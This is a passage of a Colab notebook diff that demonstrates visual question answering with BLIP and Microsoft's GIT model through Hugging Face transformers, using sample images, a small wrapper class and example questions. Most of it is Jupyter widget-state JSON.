+        "# load another image to test BLIP\n",
+        "img_url = \"https://fastly.picsum.photos/id/11/200/200.jpg?hmac=LBGO0uEpEmAVS8NeUXMqxcIdHGIcu0JiOb5DJr4mtUI\"\n",
+        "image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')\n",
+        "image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "6c4X6eI4tG9N",
+        "outputId": "1c7c03d6-28c6-4cc3-9b30-4406410f5492"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 1\n",
+        "ques = \"Describe the picture\"\n",
+        "print(blip_vqa.get_answer(image, ques))\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "5fpA0TbVtHAq",
+        "outputId": "47ea2820-9ea0-4bf4-b9b7-45941b32ffbb"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 2\n",
+        "ques = \"What is the major color present?\"\n",
+        "print(blip_vqa.get_answer(image, ques))\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "5dEIccqnr-uF",
+        "outputId": "7816af8c-83f6-4fe8-e968-365ec732bd92"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 3\n",
+        "ques = \"How's the weather?\"\n",
+        "print(blip_vqa.get_answer(image, ques))"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "73gvmX-Tbk-s"
+      },
+      "source": [
+        "# GIT"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "7EwQAOq-cLH-"
+      },
+      "source": [
+        "- https://github.com/huggingface/transformers/blob/main/src/transformers/models/git/modeling_git.py\n",
+        "- https://huggingface.co/microsoft/git-base-textvqa"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "c4Lf7_G5bhju"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install -qU transformers"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "qY1xeL1oa86Y"
+      },
+      "outputs": [],
+      "source": [
+        "from transformers import AutoProcessor, AutoModelForCausalLM\n",
+        "from huggingface_hub import hf_hub_download\n",
+        "from PIL import Image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 593,
+          "referenced_widgets": [
+            "7a2e3aab0a244cf099002a6064b5ce42",
+            "f58b27200af24c2eb76751b0bff84928",
+            "484c18d0f13148efa47e68dca92cfb48",
+            "60e84d9d72e94db9840aa03c7f15e3c3",
+            "65c7d970eca34f99a47528163a57b246",
+            "edaae38c2fe84bbd830d2cfcd793e2f5",
+            "1338c7844ec64171b0b6f50c6c2740ea",
+            "b2298da115e446eb8b129cf635bad729",
+            "3b8edfee45ef459c8ae1fc8c9ac7cbc9",
+            "20ec2d7af5444323acf5344e4f45a75e",
+            "e5264a161eff4d6484cbefc7ac38c20d"
+          ]
+        },
+        "id": "AgLuCbEyboLn",
+        "outputId": "5c14f355-95aa-4eaa-d3e4-524ff497a27c"
+      },
+      "outputs": [],
+      "source": [
+        "# load the image we will test GIT on\n",
+        "file_path = hf_hub_download(repo_id=\"nielsr/textvqa-sample\", filename=\"bus.png\", repo_type=\"dataset\")\n",
+        "image = Image.open(file_path).convert(\"RGB\")\n",
+        "image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 273,
+          "referenced_widgets": [
+            "c3bfbf522f884eb489410593b6b63abc",
+            "e95fea587b2a4f47a7b8b492db3e1ffc",
+            "b0dba09b02f142c485ce94ba887132b5",
+            "3dedecb37fdb44ceb07c6d1712c4e021",
+            "039c791cb44e42e29fce22b17e6aaeb2",
+            "e11444c22fa24360a293d4e6dad4ef3a",
+            "a4ae31365e3c4370bc2f7e7ce7fe27f9",
+            "65c79edaf8f844979f6d2cfdbded70e8",
+            "cc2dc3160f074fd8a457dcde77cfbc2b",
+            "5c0d9f5a3aa0473b9058fc33f28a9971",
+            "bedf96c9d0c94e7f9f723e4cec98ae8a",
+            "0754fa2f914f4c24a856e321a21319f5",
+            "4bd11779af5243f38a87aee67edeef37",
+            "2b1ac03b7948452faa1282e9f41b8069",
+            "e837565f047041b1b4fe58abe20b4860",
+            "35d468050abe416dbfe791ddf607ee6f",
+            "3b40e3e3b6a94c3a8f5c94d328c7ff8e",
+            "4c9915c0e224462c8381803ca2e404d3",
+            "ce9b5e9018ff4acfb9f59fcb04bdea22",
+            "b6bd97ac6f79431596f1d2e76cf80cc1",
+            "30c8f5bab4ac4beab39c0a282e6a3183",
+            "fa8c6a48412a46ed905d105a2cc4f073",
+            "da2eb9afc6214b7dbdb99bd38a05fedd",
+            "dd77bd4c656748869c4bd34f1ae74508",
+            "0fdfc064f7ac43e29f207cf8c01ebea4",
+            "b132e46fada74341aa52482f1b5f4240",
+            "9f16f63600454da5afdef84ef5afd59d",
+            "3a18c950c8da4cc2b7f3f79a9b91dea2",
+            "dbb37d88052b40f5aeeb1fbf2ab01be4",
+            "1f4f0aecfdfa423a8d219a7a9167b74c",
+            "70dc32700a9a4f268177a83cc2bdb29c",
+            "4c1a2f85fe2744fbbada089a46ac7f20",
+            "f9b7adc37082413f93053106e60eab4d",
+            "7fe5d5638c0c424e94cc8733fd79f5ab",
+            "dfa636e1fb524cf2ae3d6693fd128084",
+            "c4f1648bca844b0ba790a5990ae2170c",
+            "592bbbcf2fd14ed882f9a0adb56a57a3",
+            "8f363594b80e487494d0855f9ddde030",
+            "1dabddf490454df48032d8c05080fe95",
+            "878c5cc4315443018704910dcf37f154",
+            "8cc8a9d55c2546bcaabead9c8dc2ed09",
+            "ff3175e110e94476bf7ed17ef19a0077",
+            "96332b8765b3472c9f6a43626e8a5bb3",
+            "13935b9459d34cb28418ceffe17f8d85",
+            "cee5e9c5e2604a898fc3bd9fae8b260e",
+            "492d702c82564ce5ae62e4989905f176",
+            "fb47f6098ea54e828931f1082eddcfc6",
+            "5a2729d7ebe54449aaedcb658795e19f",
+            "3afb14ab061c459b9276116e0a6c9416",
+            "17af87063b1e4888b8dd22dd325e039f",
+            "fbe842d741e84880ac53241d2d39a566",
+            "20052640edfa418fb52d9a6ed8d5e7c5",
+            "e995f343b325494d9f315d27ab25ede9",
+            "05a15576ce6b4595a228045a2c43a598",
+            "23ac198dda5d4390b1e0998e2553d04c",
+            "5f53f8958f6744329c885898656f0c93",
+            "4f78f4c67c524e1dbf18615cd98fc1e4",
+            "2e904bced0c945498efee80e62acbe22",
+            "5f98a87208c048a199395d58e986799f",
+            "522a01b9856f477b89ce65ee75edea28",
+            "3064bb59f3144fc6a373b1528290b57a",
+            "4b79f47e2713436c91422a7e8db2729d",
+            "7dc9b79e3ad74651ae3f6449a8b968f7",
+            "b68190a10e0b48678a9937693a2e0875",
+            "d2ac867676604aa8a10267219e3c6362",
+            "3af451b24c8a47c99941a0d3676db363",
+            "8a6fad1603b6410eba545e462adb3096",
+            "30944ee9722c4e4da3b23a635a2e561f",
+            "b654f414cfe04f9a9777b076349199f6",
+            "bcb584c47d2e430f8d0ff7db81619909",
+            "9d049ae4478447afb76756aa2eefab5a",
+            "c7af806e9fcf44dfa483f9aee21ab0ef",
+            "743663756db94768a1a82d5bccac5538",
+            "3080191d2d754416988b90ece2f76cb5",
+            "d02a3297387b45c98e78c9a4a13bc6cd",
+            "14574612bb6542a1b557a12bdc189cbc",
+            "628ac6a81d1646418cd58b7fccb814a9",
+            "061384512ae447bca08741680dba7985",
+            "b24e8170391d4a41835bcdb649457ba7",
+            "4f0a42dd0f954a2a9abd2d98dcb3de67",
+            "237b1e5d578841738596dc8d9fb12a23",
+            "96f6b9783cb24579a96e96edb4e9acd9",
+            "e909d23ed13e4652a909b4f1c5702ec7",
+            "82f6ec4e9743477c909d6ef734c06808",
+            "4bca98717ed84770a06524e832f3dc70",
+            "2cb163ea221745cfb446ec9ddcbe622b",
+            "877898b8398541e3b9909a3a372cad14",
+            "d19511fe4049467a9e24bffc8b799027"
+          ]
+        },
+        "id": "Xyze2yuFl7UD",
+        "outputId": "6373ea3f-9076-45cf-c319-74af872647b9"
+      },
+      "outputs": [],
+      "source": [
+        "# load necessary components: the processor and the model\n",
+        "processor = AutoProcessor.from_pretrained(\"microsoft/git-base-textvqa\")\n",
+        "model = AutoModelForCausalLM.from_pretrained(\"microsoft/git-base-textvqa\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "PoP6txfhmPI9"
+      },
+      "outputs": [],
+      "source": [
+        "class GIT_VQA:\n",
+        "    \"\"\"Custom implementation of the GIT model for Visual Question Answering (VQA) tasks.\"\"\"\n",
+        "\n",
+        "    def __init__(self, model, processor):\n",
+        "        \"\"\"Initializes the model and the processor.\"\"\"\n",
+        "        self.model = model\n",
+        "        self.processor = processor\n",
+        "        return\n",
+        "\n",
+        "\n",
+        "    def preprocess(self, image, question):\n",
+        "        \"\"\"Preprocesses the inputs: image, question\"\"\"\n",
+        "        # process the image to get pixel values\n",
+        "        pixel_values = self.processor(images=image, return_tensors=\"pt\").pixel_values\n",
+        "\n",
+        "        # process the question to get input IDs, but do not add special tokens\n",
+        "        input_ids = self.processor(text=question, add_special_tokens=False).input_ids\n",
+        "\n",
+        "        # add the CLS token at the beginning of the input_ids and format for model input\n",
+        "        input_ids = [self.processor.tokenizer.cls_token_id] + input_ids\n",
+        "        input_ids = torch.tensor(input_ids).unsqueeze(0)\n",
+        "\n",
+        "        return pixel_values, input_ids\n",
+        "\n",
+        "\n",
+        "    def generate(self, pixel_values, input_ids):\n",
+        "        \"\"\"Generates the output from the preprocessed inputs.\"\"\"\n",
+        "\n",
+        "        # generate output using the model with a maximum length of 50 tokens\n",
+        "        outputs = self.model.generate(pixel_values=pixel_values, input_ids=input_ids, max_length=50)\n",
+        "        return outputs\n",
+        "\n",
+        "\n",
+        "    def postprocess(self, outputs):\n",
+        "        \"\"\"Post-processes the output generated by the model.\"\"\"\n",
+        "\n",
+        "        # decode the output, ignoring special tokens\n",
+        "        answer = self.processor.batch_decode(outputs, skip_special_tokens=True)\n",
+        "        return answer\n",
+        "\n",
+        "\n",
+        "    def get_answer(self, image, question):\n",
+        "        \"\"\"Returns human friendly answer to a question\"\"\"\n",
+        "\n",
+        "        # preprocess\n",
+        "        pixel_values, input_ids = self.preprocess(image, question)\n",
+        "        # generate output\n",
+        "        outputs = self.generate(pixel_values, input_ids)\n",
+        "        # post-process\n",
+        "        answer = self.postprocess(outputs)\n",
+        "        return answer"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "YXXaDaQZqpen"
+      },
+      "outputs": [],
+      "source": [
+        "# create a GIT instance\n",
+        "git_vqa = GIT_VQA(model=model, processor=processor)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "9HT3VFLsboQE",
+        "outputId": "5f5e7a77-a40f-448d-84e3-d3bbfe594eb8"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 1\n",
+        "question = \"what does the front of the bus say at the top?\"\n",
+        "answer = git_vqa.get_answer(image, question)\n",
+        "print(answer)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "Lcj5yO2sboT2",
+        "outputId": "65301084-2148-402f-c641-8bd774e5308c"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 2\n",
+        "question = \"what are all the colors present on the bus?\"\n",
+        "answer = git_vqa.get_answer(image, question)\n",
+        "print(answer)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "PBqTU4qwboXV",
+        "outputId": "a36cf954-da7c-42d6-a1ef-179058fc0270"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 3\n",
+        "question = \"How many wheels you see in the bus?\"\n",
+        "answer = git_vqa.get_answer(image, question)\n",
+        "print(answer)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 517
+        },
+        "id": "cBdRCN28b4FQ",
+        "outputId": "22a64008-64c7-439c-ad3f-2c4a4295dba0"
+      },
+      "outputs": [],
+      "source": [
+        "# load another image to test BLIP\n",
+        "img_url = \"https://fastly.picsum.photos/id/110/500/500.jpg?hmac=wSHhLFNyJ6k3uM94s6etGQ0WWhmwbdUSiZ9ZDL5Hh2Q\"\n",
+        "image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')\n",
+        "image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "-CD02X_ub4Ho",
+        "outputId": "74fe9c3f-3e1d-4627-9fd0-c8cf166e4942"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 1\n",
+        "question = \"Is it night in the image?\"\n",
+        "answer = git_vqa.get_answer(image, question)\n",
+        "print(answer)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "uK_KAVyEb4LC"
+      },
+      "outputs": [],
+      "source": []
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "gpuType": "T4",
+      "provenance": []
+    },
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "0324f20083ee42268aac2e7dce294907": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1a27d88a39e64a09bd7007e066be7caf",
+            "placeholder": "",
+            "style": "IPY_MODEL_2c1891a4c26042c08956982391039dfe",
+            "value": "Downloading (…)okenizer_config.json: 100%"
+          }
+        },
+        "039c791cb44e42e29fce22b17e6aaeb2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "05a15576ce6b4595a228045a2c43a598": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "061384512ae447bca08741680dba7985": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b24e8170391d4a41835bcdb649457ba7",
+              "IPY_MODEL_4f0a42dd0f954a2a9abd2d98dcb3de67",
+              "IPY_MODEL_237b1e5d578841738596dc8d9fb12a23"
+            ],
+            "layout": "IPY_MODEL_96f6b9783cb24579a96e96edb4e9acd9"
+          }
+        },
+        "06d45a612716458e84cff4dadacde353": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0754fa2f914f4c24a856e321a21319f5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4bd11779af5243f38a87aee67edeef37",
+              "IPY_MODEL_2b1ac03b7948452faa1282e9f41b8069",
+              "IPY_MODEL_e837565f047041b1b4fe58abe20b4860"
+            ],
+            "layout": "IPY_MODEL_35d468050abe416dbfe791ddf607ee6f"
+          }
+        },
+        "0c59eab53a8649cf88ed55d135981e1a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9d9e48cd4d5f4a0c97d7f13d6e727c09",
+            "placeholder": "",
+            "style": "IPY_MODEL_8f1974332d694edd968fe5bb9ecba070",
+            "value": "Downloading pytorch_model.bin: 100%"
+          }
+        },
+        "0fdfc064f7ac43e29f207cf8c01ebea4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1f4f0aecfdfa423a8d219a7a9167b74c",
+            "max": 231508,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_70dc32700a9a4f268177a83cc2bdb29c",
+            "value": 231508
+          }
+        },
+        "10bcc231a8ba4b809be9c7c6b95b5b53": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1338c7844ec64171b0b6f50c6c2740ea": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "13935b9459d34cb28418ceffe17f8d85": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "14574612bb6542a1b557a12bdc189cbc": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "14c199d355824bcfb14460c8e786aa93": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_18dcfde5f4c042a08b76acca0e1a6db8",
+              "IPY_MODEL_e9e7c07fa5544978840f4b5c24372ff0",
+              "IPY_MODEL_27635f5481f1430f9e7ec0404f5c393b"
+            ],
+            "layout": "IPY_MODEL_b3c518bde5bc4a5bb2c2f6528d361cc0"
+          }
+        },
+        "17af87063b1e4888b8dd22dd325e039f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "18dcfde5f4c042a08b76acca0e1a6db8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_20e7de8cc9e34728871e040e7fe9d80d",
+            "placeholder": "",
+            "style": "IPY_MODEL_fb7358b3d7c84e058b333694d793ef98",
+            "value": "Downloading (…)lve/main/config.json: 100%"
+          }
+        },
+        "1a27d88a39e64a09bd7007e066be7caf": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1a5e688c08c747eaaf5ca99b9812eec1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
